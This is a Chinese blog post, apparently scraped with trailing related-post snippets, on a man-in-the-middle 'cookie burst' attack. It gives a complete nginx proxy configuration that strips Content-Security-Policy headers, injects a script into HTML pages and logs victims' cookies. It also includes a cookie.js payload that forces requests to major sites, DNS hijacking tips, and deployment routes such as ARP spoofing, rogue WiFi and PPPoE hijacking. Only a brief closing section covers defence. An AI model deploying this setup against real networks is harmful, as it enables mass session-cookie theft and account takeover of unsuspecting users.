1. 程式人生 > >中間人攻擊 -- Cookie 噴發

中間人攻擊 -- Cookie 噴發

0x00 前言

分享箇中間人攻擊姿勢,屢試不爽。

原本是篇老文,不過寫的太囉嗦。今天用簡明的文字,重新講一遍。

0x01 原理

傳統 cookie 嗅探,只能獲得使用者主動訪問的站點。不訪問就抓不到,效率很低。

如果流量可控,不如在使用者訪問的頁面中注入一個指令碼。通過指令碼,就可以請求任意站點:

new Image().src = 'http://anyhost'

因為請求頭部會帶上 cookie,所以能把任意站點的 cookie 騙上流量,讓中間人拿到。

0x02 爆發

首先收集各大網站域名,然後挨個來一發:

var list = ['qq.com', '163.com', 'weibo.com', ...];

for (var i of list) {
    new Image().src = 'http://' + i + '/__cookie';
}

這樣,就能把使用者各種網站的 cookie 都爆上一遍。

後端收到 /__cookie 請求,記錄其中的 cookie,然後返回一個空內容。於是只需極小的流量,就可以測試一個站點。

0x03 優化

因為收集了各種站點,所以需要大量的域名解析。

為了讓爆破更快,可以再劫持使用者的 DNS 請求,暫時解析成自己 IP,這樣域名查詢就不用走外網。

       DNS
     <----->
使用者          中間人       外網
     <----->
       HTTP

同時還有個巨大的好處:整個系統不依賴外網,可以離線劫持!

比如在沒網際網路的地方,開一個 WiFi 就能攻擊。

0x04 演示

我們用 nginx 來演示:

# nginx.conf

http {
    resolver            114.114.114.114;
    ...

    log_format          record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';

    # 靜態資源
    server {
        listen          8080;
        server_name     m.io;
        gzip            on;
        #expires         1d;
        root            /path/to/;
    }

    # 代理服務
    server {
        listen          8080 default_server;
        server_name     _;
        gzip            on;

        location / {
            # 請求的是 html 資源,進入劫持流程
            if ($http_accept ~ "text/html") {
                rewrite             ^   /__html;
            }
            # 其他資源,正常代理
            proxy_pass              http://$http_host;
        }

        # 頁面注入
        location = /__html {
            internal;

            # 壓縮的內容無法 sub_filter,先解壓
            proxy_set_header        host    $http_host;
            proxy_pass              http://127.0.0.1:50000$request_uri;

            # 刪除 CSP 頭,防止被阻擋
            proxy_hide_header       Content-Security-Policy;

            # 注入指令碼
            sub_filter              <head   "<script src=//m.io/cookie.js></script><head";
        }

        # 記錄 cookie
        location = /__cookie {
            access_log              /path/to/cookies.log  record_cookie;

            # 設定快取時間
            # 避免每次訪問頁面,都產生大量請求(其實在 js 裡判斷會更好)
            add_header              Cache-Control   "max-age=3600";

            # 返回空內容
            return                  200;
        }
    }

    # 解壓服務
    server {
        listen          127.0.0.1:50000;
        gunzip          on;

        location / {
            proxy_set_header        Accept-Encoding     deflate;
            proxy_pass              http://$host;
        }
    }
}

/path/to 目錄下,放置前端攻擊指令碼:

// cookie.js

(function(list) {
    if (self != top) return;

    list = list.split(' ');

    for (var i = 0; i < list.length; i++) {
        new Image().src = 'http://' + list[i] + '/__cookie';
    }
})(
    // 目標站點列表
    '163.com qq.com weibo.com'
)

把瀏覽器的 HTTP 代理設成 127.0.0.1:8080,就可以演示了。

開啟任意 HTTP 頁面,就可以爆出使用者的各種 Cookie:

實戰方式有很多,能控制流量就行。比如 ARP 攻擊、釣魚 WiFi、釣魚代理,或者劫持小區 PPPoE 網路,等等。

0x05 防範

其實和 JSONP、Flash 隱私洩露類似,關閉瀏覽器「第三方 cookie」即可。

三方 cookie 百害而無一利,隱私洩露的罪魁禍首。

相關推薦

中間人攻擊 -- Cookie 噴發

0x00 前言 分享箇中間人攻擊姿勢,屢試不爽。 原本是篇老文,不過寫的太囉嗦。今天用簡明的文字,重新講一遍。 0x01 原理 傳統 cookie 嗅探,只能獲得使用者主動訪問的站點。不訪問就抓不到,效率很低。 如果流量可控,不如在使用者訪問的頁面中注入一個指令碼。通過指令碼,就可以請求任意站點: new I

遠程桌面協議中間人攻擊漏洞解決方案

com 選擇 右鍵 ima log font 技術 終端服務 fips 1.啟動“終端服務配置” 2.選擇“連接”,看到“RDP-Tcp”,在其上右鍵,選擇“屬性” 3.“常規”選項卡,將加密級別修改為“符合FIPS標準”,點擊應用 4.重啟主機(?)

【安全牛學習筆記】SSL、TLS中間人攻擊

信息安全 security+ ssl tls ╋━━━━━━━━━━━━━━━━━╋┃SSL中間人攻擊 ┃┃攻擊者位於客戶端和服務器通信鏈路中┃┃ ARP

中間人攻擊之劫持HTTPS明文數據

滲透測試 https 中間人劫持攻擊 修復建議 敏感數據的安全傳輸是網絡安全技術的一個重要的組成部分,多數認為只有https是最好的實踐,姑且不考慮ssl證書的價格,至少https也不是絕對安全的,當遭受中間人劫持攻擊的時候也會獲取到傳輸中的明文數據,具體攻擊原理見《HTTPS連接過程以及中間

2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊

win TE mtp redirect libev tool 無需 echo 百度網站 原理 中間人攻擊(Man-in-the-Middle Attack, MITM)是一種由來已久的網絡入侵手段,並且在今天仍然有著廣泛的發展空間,如SMB會話劫持、DNS欺騙等攻擊都是典

ARP欺騙與MITM(中間人攻擊)例項

    ARP協議(address resolution protocol):地址解析協議 一臺主機和另一臺主機通訊,要知道目標的IP地址,但是在區域網中傳輸資料的網絡卡卻

MTIM(中間人攻擊

所謂的MITM攻擊就是通過攔截正常的網路通訊資料,並進行資料篡改和嗅探,而通訊的雙方卻毫不知情。 資訊篡改 當 主機A、和主機B通訊時,都由主機C來為其“轉發”,如圖一,而A、B之間並沒有真正意思上的直接通訊,他們之間的資訊傳遞同C作為中介來完成,但是A、B卻不會意識到,而以為它們之間是

mitmf 中間人攻擊簡單演示

mitmf 是一款用來進行中間人攻擊的工具,它可以結合 BeEF 一起來使用,並利用 BeEF強大的 hook 指令碼來控制目標客戶端。 下面讓我們一起看看如何在 Kali2.0上安裝與使用 mitmf 。mitmf預設在Kali2.0上並未安裝,在之前的版本有安裝。 Ka

中間人攻擊——ARP欺騙的原理、實戰及防禦(轉載)

1.1 什麼是閘道器   首先來簡單解釋一下什麼是閘道器,閘道器工作在OSI七層模型中的傳輸層或者應用層,用於高層協議的不同網路之間的連線,簡單地說,閘道器就好比是一個房間通向另一個房間的一扇門。 1.2 ARP協議是什麼   ARP(Address Resolution Protoco

kali arp中間人攻擊

  先用nmap找到目標(或zenmap等等)     nmap -sP 192.168.0.1-200 192.168.0.105          

https 不會被中間人攻擊——因為中間人即使拿到了數據,也是加密的

https height 狀態 進行 style 被人 是你 pan lin 只要你登陸了一個使用 HTTPS 數據加密的網站,瀏覽的頁面的內容如果被人中途看見,將會是一團亂碼。它也能保證,你瀏覽的頁面就是你想瀏覽的,不會被黑客在中途修改,網站收到的數據包也是你最初發的那個

中間人攻擊工具ettercap

中間人攻擊工具ettercap   (一).簡介 (二).模組劃分 1.Snifer  2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).使用者操作介面 (五).指定目標 (六)許可權 (七)基於偽造證書的SSL MITIM (

web 滲透 --- SSL、TLS中間人攻擊

目錄 利用方法 偽造證書 ARP欺騙 偽造成功 安裝證書 一、SSL、TLS中間人攻擊 攻擊者位於客戶端和伺服器通訊鏈路中 利用方法 手動修改閘道器 修改DNS設定 修改HOSTS檔案【高於DNS】

ettercap 實施中間人攻擊

oca strip 不能 lte ane 嗅探 顯示 nic 二進制 中間人攻擊(Man-in-the-MiddleAttack 簡稱"MITM攻擊")中間人攻擊很早就成為了黑客常用的一種古老的攻擊手段,並且一直到如今還具有極大的擴展空間,在網絡安全方面

MySQL曝中間人攻擊Riddle漏洞,可致用戶名密碼洩露

針對MySQL 5.5和5.6版本的Riddle漏洞會經由中間人攻擊洩露使用者名稱密碼資訊。請儘快更新到5.7版本。 Riddle漏洞存在於DBMS Oracle MySQL中,攻擊者可以利用漏洞和中間人身份竊取使用者名稱和密碼。 “Riddle是一個在Oracle MySQL 5.5和5.6客戶

Android中Https通訊實現_中間人攻擊、DNS欺騙和會話劫持

上一篇文章記述了在Android中使用Https進行單向認證的配置,但單向認證存在中嚴重的安全漏洞,其中最容易受到中間人攻擊和DNS欺騙以及會話劫持,本文主要講述進行中間人攻擊、DNS欺騙和會話劫持的方式。 概覽 什麼是中間人攻擊 模擬中間人攻擊

wireshark分析中間人攻擊失敗的原因

       在Kali平臺上用ettercap做中間人欺騙時,發現arp欺騙後,受害者的機器無法開啟網頁。停止arp欺騙後,受害者又能正常上網。起初我懷疑我沒有正確設定ettercap,於是我又換成cain&abel,得到同樣

SSL/TLS安全之——中間人攻擊(MITM)淺析

  首先需要理解SSL/TLS協議的原理,然後我們通過Burpsuite對HTTPS資料包進行抓包,來簡單討論中間人攻擊的實現場景。 一、SSL握手協議 1.客戶端生成相關引數 -> a)協議版本號 b)隨機數(cRandom) c)加密

基於HTTPS的中間人攻擊-BaseProxy

前言 在上一篇文章BaseProxy:非同步http/https代理中,我介紹了自己的開源專案BaseProxy,這個專案的初衷其實是為了滲透測試,抓包改包。在知識星球中,有很多朋友問我這個專案的原理及實現程式碼,本篇文章就講解一下和這個專案相關的HTTPS的中間人攻擊。 HTTPS隧道代理 HTTPS隧道代

kali 環境下的arp中間人攻擊

kali linuix: 1. 開啟埠轉發,允許本機像路由器那樣轉發資料包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主機B聲稱自己(攻擊者)就是閘道器 arpspoof -h Usage: arpspoof [-i interface] [-t